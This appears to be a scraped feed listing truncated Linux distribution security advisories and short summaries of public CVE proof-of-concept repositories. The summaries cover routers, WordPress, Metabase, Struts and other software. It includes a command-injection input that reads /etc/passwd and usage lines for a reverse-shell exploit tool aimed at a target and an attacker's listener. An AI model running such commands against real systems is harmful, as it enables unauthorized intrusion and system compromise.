OESA-2026-3614 popt security update

The popt library exists essentially for parsing command line options. Some specific advantages of popt are no global variables allowing multiple passes in parsing argv, parsing an arbitrary array of argv-style elements allowing parsing of command-line-strings from any source, a standard method of...

OESA-2026-3612 popt security update

The popt library exists essentially for parsing command line options. Some specific advantages of popt are no global variables allowing multiple passes in parsing argv, parsing an arbitrary array of argv-style elements allowing parsing of command-line-strings from any source, a standard method of...

OESA-2026-3611 popt security update

The popt library exists essentially for parsing command line options. Some specific advantages of popt are no global variables allowing multiple passes in parsing argv, parsing an arbitrary array of argv-style elements allowing parsing of command-line-strings from any source, a standard method of...

OESA-2026-3601 aom security update

The Alliance for Open Media’s focus is to deliver a next-generation video format that is: Security Fixes: An arbitrary address write vulnerability was found in libaom, the reference AV1 codec implementation. A missing bounds check in the SVC Scalable Video Coding layer ID control function allows ...

OESA-2026-3596 vim security update

Vim is an advanced text editor that seeks to provide the power of the de-facto Unix editor 'Vi', with a more complete feature set. Vim is a highly configurable text editor built to enable efficient text editing. It is an improved version of the vi editor distributed with most UNIX systems. Securi...

OESA-2026-3595 vim security update

Vim is an advanced text editor that seeks to provide the power of the de-facto Unix editor 'Vi', with a more complete feature set. Vim is a highly configurable text editor built to enable efficient text editing. It is an improved version of the vi editor distributed with most UNIX systems. Securi...

OESA-2026-3594 vim security update

Vim is an advanced text editor that seeks to provide the power of the de-facto Unix editor 'Vi', with a more complete feature set. Vim is a highly configurable text editor built to enable efficient text editing. It is an improved version of the vi editor distributed with most UNIX systems. Securi...

OESA-2026-3593 vim security update

Vim is an advanced text editor that seeks to provide the power of the de-facto Unix editor 'Vi', with a more complete feature set. Vim is a highly configurable text editor built to enable efficient text editing. It is an improved version of the vi editor distributed with most UNIX systems. Securi...

CVE-2023-36143

CVE-2023-36143 PoC of CVE-2023-36143 - Maxprint Maxlink 1200G v3.4.11E Command Injection Steps to Reproduce: 1. Log in the equipment via your web browser 2. Go to the diagnostic tool 3. Insert any ip, e.g 127.0.0.1, the ; character and a command. 4. Example: 127.0.0.1;cat /etc/passwd...

CVE-2012-2982

CVE-2012-2982 also known as /file/show.cgi Remote Command Execution A simple CVE-2012-2982 poc...

CVE-2024-25600-Bricks-Builder-WordPress

CVE-2024-25600 Exploit Tool 🚀 Description 📝 This tool 🛠️ is designed to exploit the CVE-2024-25600 vulnerability 🕳️ found in the Bricks Builder plugin for WordPress. The vulnerability allows for unauthenticated remote code execution on affected websites 💻. The tool automates the exploitation...

CVE-2026-31816

CVE-2026-31816 - Budibase Authentication Bypass to RCE CVE-2026-31816 is a critical authentication and authorization bypass vulnerability affecting Budibase. The vulnerability exists in the server-side authorization middleware responsible for protecting API endpoints. Budibase attempts to identif...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

The goal of this project was to conduct a security audit of a blog recently launched by Ackme Support Incorporated, identifying any critical vulnerabilities before the site goes public. The task involved finding a way to remotely execute code and gain access to the target system. Environment &...

CVE-2023-36123

CVE-2023-36123 For demonstration purposes only. Exploit works on all Versions of Plain Craft Launcher 2. Download Custom.xaml and import into Plain Craft Launcher 2,then click "Run Command". https://github.com/Hex-Dragon/PCL2/assets/140469824/636d1436-a26d-4f54-ad4f-a7b1bb123783...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell run command go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port note when you input the target host , please do not forget the http:// or https://...

CVE-2023-50164Analysis-

CVE-2023-50164: Apache Struts Vulnerable Application A critical security vulnerability, identified as CVE-2023-50164 CVE: 9.8 was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution RCE...

CVE-2024-22198_Checker

CVE-2024-22198 - authenticated remote code execution in Nginx-ui Description This tool made for remote checking your Nginx-ui version and notify if it's vulnerable to CVE-2024-22198. Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by...

FOG-Project

FOG-Project FOG Project CVE-2024-39914 Command Execution Vulnerability...

CVE-2024-44623

CVE-2024-44623 In SPX-GC 1.3.0v and below versions, user-controlled input was passed in the exec function of the childprocess module without any sanitization, leading to unauthenticated blind remote code execution. Vulnerability In /routes/routes-api.js, user input received from file param and...

CVE-2017-6516-mcsiwrapper-

CVE-2017-6516 CVE-2017-6516 is a privilege escalation vulnerability that targets the .mcsiwrapper binary from MagniCorp SysInfo under version 10-H64. When this binary has the SUID bit set and is outdated, a user may execute arbitrary code as the owner of the binary - which is often root...